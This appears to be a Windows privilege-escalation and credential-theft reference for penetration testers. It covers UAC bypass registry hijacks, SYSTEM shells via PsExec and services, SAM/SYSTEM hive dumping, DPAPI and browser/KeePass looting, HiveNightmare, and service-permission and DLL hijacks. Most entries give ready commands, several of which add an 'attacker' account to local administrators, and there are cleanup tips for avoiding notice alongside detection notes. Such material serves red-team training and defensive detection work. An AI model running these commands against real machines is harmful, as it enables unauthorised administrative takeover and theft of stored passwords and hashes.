Applicability: Legacy: Windows 7 – Windows 10 1607. Patched in the Creators Update (1703); does NOT work on modern builds.
Requires
- Member of local Administrators running at Medium integrity (default UAC)
Example commands
# Set the hijack key
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
# Trigger elevation
eventvwr.exe
Tools
References
OPSEC / detection: The HKCU mscfile shell-open-command key + eventvwr.exe spawning cmd is a classic, widely-signatured detection. Remove the key afterward.
Sdclt
Auto-elevating sdclt via the Folder/App Path handler.
sdclt.exe (Backup and Restore) auto-elevates and, on Windows 10, spawns control.exe, which resolves its open command through HKCU\Software\Classes\Folder\shell\open\command. Plant your command in that key and launch sdclt to run at High integrity with no prompt. (A separate sdclt variant instead hijacks HKCU\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe; it does not use the Folder key.)
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Legacy: Windows 10 1507 to 1607. The Folder-command variant taught here was hardened around 1709 (RS3); it does NOT work on modern builds.
Requires
- Member of local Administrators at Medium integrity
Example commands
# Set the hijack key
reg add "HKCU\Software\Classes\Folder\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
# Trigger
sdclt.exe
Tools
References
OPSEC / detection: HKCU Folder/command key + sdclt spawning cmd is signatured. Clean up afterward.
ComputerDefaults
Auto-elevating computerdefaults via ms-settings handler.
computerdefaults.exe auto-elevates and, like fodhelper, launches its target through the HKCU\Software\Classes\ms-settings\shell\open\command handler. Point that key at your command and run computerdefaults to execute at High integrity without a consent prompt.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 10 1803 and later, Windows 11, and Server 2019 and later. Same ms-settings handler as fodhelper, but per UACME (method 62) the ComputerDefaults variant only works from build 1803, so Server 2016 is not affected.
Requires
- Member of local Administrators at Medium integrity
Example commands
# Set the hijack key
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
# Trigger
computerdefaults.exe
Tools
References
OPSEC / detection: Shares the fodhelper ms-settings IOC; clean up the key.
CMSTPLUA / ICMLuaUtil
Auto-elevate via the CMSTP elevated COM interface.
This bypass abuses an auto-elevating COM object, the ICMLuaUtil "Elevated COM Interface" (CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7}), to run a command as a High-integrity process. Implemented by UACMe method 41 and several public scripts; needs no file on disk.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 7 to Windows 11; the primitive is unfixed but the technique is heavily detected by default EDR/Sigma rules.
Requires
- Member of local Administrators at Medium integrity
Tools
References
OPSEC / detection: The signal is a high-integrity process spawned by dllhost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} (the CMSTPLUA COM surrogate), plus abnormal ICMLuaUtil::ShellExec calls; this method does not run cmstp.exe. Heavily covered by public Sigma/Elastic rules.
SilentCleanup Task
Abuse the auto-elevating SilentCleanup scheduled task.
The built-in SilentCleanup scheduled task runs "with highest privileges" yet is launchable by normal users. The task's action path (%windir%\system32\cleanmgr.exe) is expanded from the user-controlled environment block, so redirecting windir in HKCU\Environment makes the elevated task launch your binary instead.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 8.1 to Windows 11 (this environment-variable-expansion variant is documented from Windows 8.1, not plain Windows 8). On Server it only applies to installs with the Desktop Experience (GUI) feature, where cleanmgr.exe is present; it does not work out-of-the-box on Server Core, where cleanmgr.exe is absent by default.
Requires
- Member of local Administrators at Medium integrity
Example commands
# Run the task
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /i
Tools
References
OPSEC / detection: Environment-variable hijack in HKCU plus an elevated task spawning an odd child is detectable.
SYSTEM Service (PsExec / sc create)
Admin creates a service the SCM runs as SYSTEM.
A high-integrity administrator can register a Windows service whose binary the Service Control Manager launches as LocalSystem. Do it by hand with sc create, or let PsExec -s spin up a transient service and hand back a SYSTEM shell. (RunasCs does not create a service; it launches a process under another account when you hold suitable credentials or a token, which is the token/credential-impersonation lane.) The default administrator-to-SYSTEM step.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions.
Requires
- High-integrity administrator context
Example commands
# PsExec SYSTEM shell
PsExec64.exe -accepteula -s -i cmd.exe
# Manual service as SYSTEM
sc create svc binPath= "cmd /c C:\Temp\payload.exe" & sc start svc
Tools
References
OPSEC / detection: Service creation (Event ID 7045) and PsExec named pipes are classic detections.
Scheduled Task as SYSTEM
Understand LocalSystem as a scheduled task's execution identity.
A scheduled task has a security context associated with an account or group. LocalSystem is one Windows account identity, with extensive privileges on the local computer, and is separate from a logged-on user's account. The task's configured identity describes its execution context; the Task Scheduler label alone does not identify that account.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims about execution identities, processor modes, and task/startup permissions. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions.
Reviewed claims
A scheduled task has a security context associated with the account or group specified for it.
Microsoft, Security Contexts for Tasks — Specifying Credentials
LocalSystem has extensive local privileges and is not associated with a logged-on user account.
Microsoft, LocalSystem Account — Opening account definition
Requires
- High-integrity administrator context
Example commands
# Create + run a SYSTEM task
schtasks /create /tn sysT /tr "C:\Temp\payload.exe" /sc once /st 00:00 /ru SYSTEM /f
schtasks /run /tn sysT
Tools
References
OPSEC / detection: Task creation (Event ID 4698) with a SYSTEM principal is a strong signal.
Token Impersonation (getsystem)
Duplicate a SYSTEM process token.
A high-integrity administrator can enable SeDebugPrivilege, open a process already running as SYSTEM (e.g. winlogon.exe), duplicate its token with DuplicateTokenEx, and spawn a new process with it: the manual / incognito / PowerSploit approach. Meterpreter getsystem reaches the same outcome differently: its token-duplication technique enumerates a service running as SYSTEM and reflectively injects into it to grab that service's token, and its other techniques use named-pipe impersonation.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions (token model).
Requires
- High-integrity administrator context (SeDebugPrivilege for token duplication; service-creation/SeImpersonate for the named-pipe technique)
Tools
References
OPSEC / detection: A handle to winlogon.exe (or another SYSTEM process), service creation, named-pipe impersonation, and reflective injection into a SYSTEM service are top-tier EDR detections.
Unprivileged Users
Unprivileged Users
Understand standard-user access through identity and resource permissions.
Standard-user access still has a security context: the token identifies the account, its groups, and its privileges. Resources can grant permissions to particular users or groups through access-control entries. The label unprivileged should not be read as meaning that an account has no permissions; access is evaluated for the requested resource and operation.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in the identity, permissions, and audit-policy explanation. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: Applicability has not been documented for this entry.
Reviewed claims
An access token carries the account identity, group information, and privileges used in security checks.
Microsoft, Access tokens — Access token contents
Discretionary access-control entries can grant resource permissions to particular users or groups.
Microsoft, DACLs and ACEs — Opening explanation and group-access example
References
category Stored Credentials
Distinguish credential storage from data-protection mechanisms.
Windows provides Credentials Management APIs for applications to obtain and manage information such as user names and passwords, including a user credentials store. DPAPI provides encryption and integrity protection for application data. These are different mechanisms: a storage location alone does not describe the protection applied to its contents.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
Windows Credentials Management APIs obtain and manage credential information and provide options to add information to the user's credentials store.
Microsoft, Credentials Management — Introduction
CryptProtectData encrypts application data and adds a keyed integrity check against tampering.
Microsoft, CryptProtectData function — Introduction; Remarks
References
category Registry & Hives
Understand registry hives and access control on keys.
A registry hive groups keys, subkeys, and values with supporting files that Windows loads into memory. Registry keys are securable objects with security descriptors. Windows checks requested key access against that descriptor, so the registry's organization and a caller's permission to read or change a key are separate concepts.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
A hive is a logical grouping of registry keys, subkeys, and values with supporting files loaded into memory.
Microsoft, Registry Hives — Introduction
Registry keys have security descriptors, and opening a key checks the requested access rights against its descriptor.
Microsoft, Registry Key Security and Access Rights — Introduction; RegOpenKeyEx access check
References
category Files & History
Recognize the confidentiality risk of secrets in files and history.
Files and command history can retain sensitive information. Microsoft documents that PSReadLine persists command history, which can contain passwords, and attempts to filter sensitive entries. That filtering should not be treated as a guarantee that history is free of secrets. CWE-312 describes the separate storage weakness of keeping sensitive information in cleartext where it may be accessible outside the intended control boundary.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
PSReadLine persists command history that can contain passwords and attempts to filter sensitive information; treating the filter as an absolute secrecy guarantee is not supported by this description.
Microsoft, about_PSReadLine — Command History; the conclusion about a guarantee is an editorial inference from the documented limitation
CWE-312 describes sensitive information stored in cleartext in a resource that may be accessible outside the intended control boundary.
MITRE, CWE-312: Cleartext Storage of Sensitive Information — Description
References
category Vaults & DPAPI
Understand the purpose and scope of DPAPI protection.
DPAPI lets applications encrypt data and adds a keyed integrity check to detect tampering. Decryption normally depends on the same user logon credentials and the same computer, with exceptions documented by Microsoft. A reference to DPAPI therefore describes a protection mechanism; it does not mean that every credential store has identical contents or behavior.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
CryptProtectData provides data encryption and a keyed integrity check.
Microsoft, CryptProtectData function — Introduction; Remarks
DPAPI decryption normally requires matching user logon credentials and the same computer, subject to documented exceptions.
Microsoft, CryptProtectData function — Introduction; Remarks
References
category Service Misconfigurations
Separate service-object permissions from the service account.
Windows secures the service control manager and individual service objects through access rights and security descriptors. A running service uses the security context of its configured account, represented by an access token. Permission to manage a service object and the identity under which the service runs are distinct parts of the security model.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
The service control manager and individual service objects have separately defined access rights and security descriptors.
Microsoft, Service Security and Access Rights — Introduction; Access Rights for the Service Control Manager; Access Rights for a Service
The service control manager logs on the service's account and attaches the resulting access token to its process.
Microsoft, Service User Accounts — Introduction
References
category DLL & PATH Hijacking
Understand dynamic libraries and their execution context.
A dynamic-link library is a module containing functions and data that other modules can use. Windows maps a loaded DLL into the calling process's virtual address space. An exported DLL function runs in the context of the thread that calls it; the DLL itself does not establish a separate privileged account.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
A DLL is a module containing functions and data usable by another application or DLL.
Microsoft, Dynamic-Link Libraries — Introduction
A loaded DLL occupies the process's virtual address space, and its exported functions run in the calling thread's context.
Microsoft, About Dynamic-Link Libraries — DLLs and Memory Management
References
category Scheduled Tasks & Autoruns
Separate automatic startup from a task's security context.
Task Scheduler registers and runs each task under a specified security context associated with an account or group. Automatic startup also includes mechanisms such as Run and RunOnce registry entries, which launch programs at user logon. Being scheduled or started automatically does not, by itself, describe a program's administrative authority.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
Scheduled tasks run under a specified security context associated with an account or group.
Microsoft, Security Contexts for Tasks — Introduction; Specifying Credentials
Run and RunOnce are registry mechanisms for starting programs at user logon.
Microsoft, Run and RunOnce Registry Keys — Introduction
References
category Privileged App & Service Abuse
Understand the authority of application and service processes.
Windows represents an application process's security context with an access token that identifies its account and privileges. A service runs with a token for its configured account. Understanding that execution context is part of understanding application security; the presence of an application or service alone does not establish administrative authority.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
An access token identifies the account and privileges associated with a process or thread.
Microsoft, Access Tokens — Introduction
A service executes in its configured account's security context and receives an access token for that account.
Microsoft, Service User Accounts — Introduction
References
category Known Exploits (CVE)
Read vulnerability records and severity scores accurately.
A CVE Record describes a vulnerability associated with a CVE identifier and includes affected products, versions, and references. CVSS expresses vulnerability severity; NIST explicitly distinguishes it from risk. A record or score is information for review, not a demonstration of behavior on a particular computer.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in this category overview only. Does not cover linked techniques, commands, connection outcomes, or ATT&CK mapping suitability.
Reviewed claims
A CVE Record associates an identifier with descriptive vulnerability data, affected products and versions, and references.
CVE Program, CVE Record Lifecycle — CVE Records
CVSS measures vulnerability severity and is not a measure of risk.
NIST NVD, Vulnerability Metrics — Introduction
References
SAM & SYSTEM Hive Dump
Save SAM+SYSTEM, extract local hashes offline.
Save the SAM and SYSTEM registry hives and process them offline to recover local NTLM hashes (the SYSTEM hive holds the bootkey that decrypts SAM). The reg save command below operates on the live registry and needs backup semantics (admin, SeBackup, or Backup Operators) at runtime; a read ACL on the hive files alone is not enough for it. The case where a misconfigured ACL lets an unprivileged user read the on-disk hive files (out of a shadow copy, no backup privilege) is HiveNightmare/SeriousSAM, covered separately. A cracked or passed-the-hash local admin enables lateral movement.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions (depends on read access to the hives).
Requires
- Backup semantics for reg save: admin, SeBackup/SeRestore, or Backup Operators (a file-read ACL alone is the HiveNightmare path)
Example commands
# Save hives
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
# Dump offline
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Tools
References
OPSEC / detection: reg save of SAM/SYSTEM is a known credential-dumping IOC. Offline parsing on the attacker host is invisible.
DPAPI Secrets
Decrypt DPAPI-protected creds/vaults with masterkeys.
Windows Credential Manager entries and vaults are DPAPI-protected. With the user password (or SYSTEM access to the masterkey, or a domain DPAPI backup key) decrypt the masterkey, then the credential blobs. SharpDPAPI / mimikatz automate this. Chrome/modern-Edge saved logins are also DPAPI-wrapped but live in the browser's own Login Data store and are classified separately as T1555.003 (Credentials from Web Browsers); only IE/legacy-Edge web credentials land in Credential Manager (T1555.004).
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions.
Requires
- User context / password, or SYSTEM, or the domain DPAPI backup key
Example commands
# Decrypt a masterkey (known password)
dpapi::masterkey /in:"%APPDATA%\Microsoft\Protect\<SID>\<GUID>" /sid:<SID> /password:<pw>
# Decrypt a credential blob (check both %LOCALAPPDATA%\Microsoft\Credentials\ and %APPDATA%\Microsoft\Credentials\)
dpapi::cred /in:"%LOCALAPPDATA%\Microsoft\Credentials\<blob>" /masterkey:<key>
Tools
References
OPSEC / detection: Reading masterkey + Credentials files and invoking DPAPI is detectable via file access patterns and known tool signatures.
Saved Credentials (cmdkey)
Reuse cmdkey-saved creds via runas /savecred.
cmdkey /list reveals credentials saved in Credential Manager. If an admin credential was saved by a prior runas /savecred (an interactive-logon-type credential), run commands as that user with runas /savecred without knowing the password, directly inheriting their privileges. Note that credentials merely added with cmdkey /add or /generic are a different credential type and are generally NOT accepted by runas /savecred.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions.
Requires
- A privileged credential previously saved by runas /savecred (interactive-logon type) in Credential Manager
Example commands
# List stored creds
cmdkey /list
# Run as the saved (admin) user (/user: must match the exact target shown by cmdkey /list, e.g. HOSTNAME\Administrator or DOMAIN\svc_admin)
runas /savecred /user:HOSTNAME\Administrator "cmd /c net localgroup administrators attacker /add"
Tools
References
OPSEC / detection: Low-noise; uses built-in tools. The runas-spawned process tree under a different user is the main signal.
Winlogon Autologon
Read a cleartext autologon password from the registry.
When automatic logon is configured manually via the registry (KB 324737), Windows stores the account name and its password in cleartext under the Winlogon registry key (DefaultUserName / DefaultPassword, with AutoAdminLogon = 1), and any user can read these values. If the autologon account is a local or domain admin, you have its password directly, no cracking required. This does NOT hold for autologon set up with Sysinternals Autologon.exe: that tool stores the secret as the LSA secret DefaultPassword under HKLM\SECURITY\Policy\Secrets (admin/SYSTEM ACL), so the reg query below returns nothing and recovery needs lsadump / SeSecurityPrivilege instead.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions, only when autologon is configured via the registry (manual KB 324737 path). Autologon set up with Sysinternals Autologon.exe stores the secret as an LSA secret instead, so there is no cleartext DefaultPassword to read.
Requires
- Autologon configured with a stored DefaultPassword
Example commands
# Read the autologon values (query the whole key to surface AutoAdminLogon + DefaultUserName/DefaultDomainName/DefaultPassword together)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Tools
References
OPSEC / detection: Read-only registry query; very quiet. The cleartext password is only present when autologon was configured via the registry; an Autologon.exe-configured host has no DefaultPassword value and needs an LSA-secret dump (noisier, admin-only) instead.
HiveNightmare / SeriousSAM
CVE-2021-36934: any user reads SAM via a shadow copy.
On affected Windows 10/11 builds the ACLs on C:\Windows\System32\config\SAM, SYSTEM and SECURITY mistakenly granted BUILTIN\Users read access. A non-admin can read these hives out of a Volume Shadow Copy and extract the local-admin hash offline: no SeBackup, no admin token required. Mitigated by patching, fixing the ACLs, and deleting existing shadow copies.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 10 1809–21H1, Windows 11 21H2, and Server 2019 / 2022, pre-patch (patched Aug 2021).
Requires
- Unpatched vulnerable build
- At least one VSS shadow copy present
Example commands
# Confirm the over-permissive ACL
icacls C:\Windows\System32\config\SAM
# Extract in-use hives from a shadow copy (produces SAM-haxx etc.)
HiveNightmare.exe
# Dump the extracted hives offline
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Tools
References
OPSEC / detection: The raw offline hive read is quiet, but running icacls against the config hives and touching a shadow copy are both documented HiveNightmare detection signatures (Defender/Splunk/SOC Prime), so on a monitored host this is not silent. It depends on a shadow copy existing. Fully patched/mitigated systems are not affected.
PowerShell History
Read PSReadLine command history for secrets.
PSReadLine saves every PowerShell command to ConsoleHost_history.txt in the user profile, readable by its owner. Administrators routinely paste passwords, connection strings, and API keys into PowerShell, so your own history file is a reliable, no-privilege credential source. Reading OTHER users' histories under C:\Users\* needs local admin, since each profile's AppData is ACL'd to the owner, SYSTEM, and Administrators only.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions with PowerShell 5+ / PSReadLine.
Requires
- A PowerShell history file containing a secret
Example commands
# Read your own history file (no privilege)
type "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
# All users (requires local admin: reads other profiles)
gc C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Tools
References
OPSEC / detection: Reading your own file is silent. The all-users wildcard read is admin-only and can generate access-denied noise or file-access audit events (4663) across other users' profiles. Depends on a user having typed a secret.
Files & Configs with Secrets
Hunt secrets across configs, scripts, and user artifacts.
Credentials hide all over the filesystem: unattended-install files (Unattend.xml, sysprep, Autounattend.xml under C:\Windows\Panther\), application configs (web.config, *.config, appsettings.json), scripts and .bat/.ps1 files, and user artifacts: the Recycle Bin, Sticky Notes (plum.sqlite), unsaved Notepad tabs (Windows 11 TabState), and custom config files. Grep broadly for password/key patterns; winPEAS and LaZagne automate most of these locations.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions (some artifact paths, e.g. Sticky Notes / Notepad tabs, vary by build).
Requires
- Readable files that contain credentials
Example commands
# Recursive password grep
findstr /si password *.xml *.ini *.txt *.config *.json
# Unattend / sysprep files
dir /s /b C:\Windows\Panther\Unattend.xml C:\Windows\System32\sysprep\*.xml
# Sticky Notes store
dir /s C:\Users\*\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_*\LocalState\plum.sqlite
Tools
References
OPSEC / detection: Read-only hunting is quiet; broad recursive searches can be noisy on disk-access auditing.
Password Managers & Browsers
Loot KeePass / browser stores for saved logins.
Locally stored vaults are high-value: KeePass .kdbx databases (and the KeePass 2.x CVE-2023-32784 master-password memory leak), browser-saved logins (Chrome/Edge "Login Data" SQLite, DPAPI-protected), and config files for other managers. LaZagne pulls credentials from dozens of such apps in one pass. Password-manager theft is T1555.005; browser-saved login theft is the distinct sub-technique T1555.003 (Credentials from Web Browsers).
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Depends on the installed application, not the Windows build.
Requires
- A local vault or browser store plus the user context / DPAPI (or its key) for kdbx and browser looting; the KeePass CVE-2023-32784 path instead needs a KeePass process-memory dump, not the master password
Example commands
# Find KeePass databases
dir /s /b C:\Users\*.kdbx
# LaZagne, all modules
lazagne.exe all
Tools
References
OPSEC / detection: Reading browser/KeePass files is quiet; LaZagne is AV-signatured.
Unquoted Service Path
Understand service startup configuration and executable-path records.
Windows uses service configuration to determine how a service starts. The Service Control Manager maintains installed-service records that include the executable path and other startup information. Understanding the stored path begins with distinguishing service configuration from the executable file it names.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected foundational definitions of authentication, Windows management, service configuration and securable objects. These sources support only the listed conceptual claims. Excludes technique mechanics, commands, tools, prerequisites, applicability, version or algorithm details, connection outcomes, attack-path viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (configuration weakness).
Reviewed claims
Windows uses service configuration information to determine how to start a service.
Microsoft — Service Configuration — Opening configuration definition
The Service Control Manager's installed-service database includes the fully qualified executable path.
Microsoft — Database of Installed Services — Installed-service information: executable-path item
Requires
- Service with an unquoted path + space
- Write access to an intermediate directory
- Ability to restart the service or reboot
Example commands
# Find unquoted paths with spaces
Get-WmiObject win32_service | ? { $_.PathName -notlike '"*' -and $_.PathName -like '* *' } | select Name, PathName
# Restart the service to trigger (sc stop is async and returns before STOPPED, so the start can race error 1061; poll or wait, e.g. sc query ... | findstr STOPPED, or rely on the auto-start-on-reboot path)
sc stop <service> & sc query <service> | findstr STOPPED & sc start <service>
Tools
References
OPSEC / detection: A new EXE in an unusual path + service crash/restart events are detectable. The service runs your binary as its (often SYSTEM) account.
Weak Service Permissions (binPath)
Distinguish access to service objects from access to files.
The Windows access-control model governs access to the Service Control Manager and individual service objects. Files are also securable objects with their own security descriptors. A service object and its executable file are separate objects when describing permissions.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected foundational definitions of authentication, Windows management, service configuration and securable objects. These sources support only the listed conceptual claims. Excludes technique mechanics, commands, tools, prerequisites, applicability, version or algorithm details, connection outcomes, attack-path viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (configuration weakness).
Reviewed claims
Windows access control applies to the Service Control Manager and service objects.
Microsoft — Service Security and Access Rights — Opening access-control definition
Files are securable objects whose access is governed by Windows access control and security descriptors.
Microsoft — File Security and Access Rights — Opening definition; Security descriptors
Requires
- SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS on a privileged service
- Ability to start/stop it
Example commands
# Enumerate modifiable services
accesschk.exe -uwcqv "Users" * /accepteula
# Hijack binPath (note the space after '=')
sc config <service> binpath= "net localgroup administrators attacker /add"
# Trigger
sc stop <service> & sc start <service>
Tools
References
OPSEC / detection: sc config changes and the service failing to return a control response are logged. The command still executes before the SCM errors out.
Writable Service Binary
Distinguish executable-file access from a service's account identity.
Windows regulates access to files through its access-control model. Separately, each service runs in an account's security context. The permissions on an executable file and the identity of the process using it describe different parts of the security model.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected foundational definitions of authentication, Windows management, service configuration and securable objects. These sources support only the listed conceptual claims. Excludes technique mechanics, commands, tools, prerequisites, applicability, version or algorithm details, connection outcomes, attack-path viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (configuration weakness).
Reviewed claims
Windows treats files as securable objects subject to its access-control model.
Microsoft — File Security and Access Rights — Opening file-security definition
Each Windows service runs in the security context of an account.
Microsoft — Service User Accounts — Opening service-account definition
Requires
- Write/modify permission on the service EXE or its directory
- Service runs as SYSTEM/elevated
- Ability to restart it
Example commands
# Check write access to a service binary
accesschk.exe -quvw "Users" "C:\Path\To\service.exe" /accepteula
# Stop, replace, restart (running service locks its EXE)
sc stop <service> & copy /y payload.exe "C:\Path\To\service.exe" & sc start <service>
Tools
References
OPSEC / detection: File-modification + service-restart events. Back up the original binary to restore the service afterward.
Weak Service Registry Perms
Understand registry access control and installed-service records.
Registry keys have security descriptors and access rights in the Windows security model. The Service Control Manager stores its installed-service database in the registry. Registry permissions describe access to stored configuration; the service database describes the installed services.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected foundational definitions of authentication, Windows management, service configuration and securable objects. These sources support only the listed conceptual claims. Excludes technique mechanics, commands, tools, prerequisites, applicability, version or algorithm details, connection outcomes, attack-path viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (configuration weakness).
Reviewed claims
Windows controls access to registry keys using security descriptors and access rights.
Microsoft — Registry Key Security and Access Rights — Opening definition and security-descriptor paragraphs
The Service Control Manager maintains its installed-service database in the registry.
Microsoft — Database of Installed Services — Opening database definition
Requires
- Write access to a service registry key
- Ability to restart the service or reboot
Example commands
# Find writable service keys
accesschk.exe -kvuqsw hklm\System\CurrentControlSet\Services /accepteula
# Overwrite ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\<svc> /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\payload.exe" /f
Tools
References
OPSEC / detection: Registry modification of ImagePath on a service key is a high-fidelity detection: the write event is logged the moment it happens (Sysmon Event ID 13, Security 4657) regardless of any later reversion. Restore the value afterward for operational cleanup and to avoid breaking the service, not to evade detection (restoring only adds a second change event).
Service DLL Hijacking
Understand how loaded DLLs relate to processes and threads.
A process is an executing program with one or more threads. A loaded DLL is mapped into the process's virtual address space, and its exported functions run in the context of the calling thread. The library, the process and the thread describe related but distinct parts of program execution.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected foundational definitions of authentication, Windows management, service configuration and securable objects. These sources support only the listed conceptual claims. Excludes technique mechanics, commands, tools, prerequisites, applicability, version or algorithm details, connection outcomes, attack-path viability and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (depends on the service).
Reviewed claims
A process is an executing program, and one or more threads run within its context.
Microsoft — Processes and Threads — Opening process and thread definitions
A loaded DLL is mapped into the process's virtual address space, and an exported function runs in the calling thread's context.
Microsoft — About Dynamic-Link Libraries — DLLs and Memory Management
Requires
- Privileged service that loads a DLL from a writable / missing path
- Ability to restart it
Example commands
# Generate an x64 add-admin DLL (EXITFUNC=thread keeps the hijacked service alive)
msfvenom -p windows/x64/exec CMD='net localgroup administrators attacker /add' EXITFUNC=thread -f dll -o hijack.dll
Tools
References
OPSEC / detection: An unsigned DLL loaded by a signed service binary from a user-writable directory (Sysmon Event ID 7) is a strong detection signal.
Writable %PATH% Directory
Plant a DLL a privileged service resolves by name from %PATH%.
If a directory listed in the system PATH is writable by your user, a privileged process or service that loads a DLL by bare name (no full path) can resolve it from your writable directory. Under the default DLL search order, PATH is searched LAST (after the application directory, System32, the Windows directory, and the current directory), so this only works for a DLL the target does NOT already resolve from one of those earlier locations, i.e. a missing / "ghost" DLL. Drop a matching DLL whose DllMain runs your payload; it loads into the privileged process. Distinct from a per-app DLL hijack: here the weakness is a globally writable PATH entry.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions (depends on a writable PATH entry).
Requires
- A user-writable directory on the system PATH
- A privileged service/process that DLL-loads by bare name
Example commands
# Show the system PATH
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v Path
# Check each PATH dir for write access (scoped to a principal you control)
accesschk.exe -uwdq "Users" "C:\SomePathDir" /accepteula
Tools
References
OPSEC / detection: An unsigned DLL loaded by a signed, privileged binary from a user-writable PATH directory (Sysmon Event ID 7) is a strong signal.
Writable Autorun
Understand the security of logon startup registrations.
Windows provides Run and RunOnce registrations for programs associated with user logon. Run is intended for repeated startup and RunOnce for a single invocation. Registry keys are securable objects with security descriptors and access rights. The purpose of a startup registration and the permissions on its registry key are separate parts of the configuration.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims about execution identities, processor modes, and task/startup permissions. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (configuration weakness).
Reviewed claims
Windows documents Run for repeated logon startup and RunOnce for one-time execution.
Microsoft, Run and RunOnce Registry Keys — Opening purpose and repeated/one-time distinction
Windows controls access to registry keys through security descriptors and key access rights.
Microsoft, Registry Key Security and Access Rights — Opening key security-descriptor and access-check explanation
Requires
- Writable autorun binary or writable Run key
- A higher-privileged user logs in
Example commands
# List the HKLM Run key (the escalation target: fires for whoever logs on)
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
# List the HKCU Run key (context only: runs as the current user, useful for finding writable target binaries)
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
# Check write access to the target binary
accesschk.exe -wvu "C:\Path\To\autorun.exe" /accepteula
Tools
References
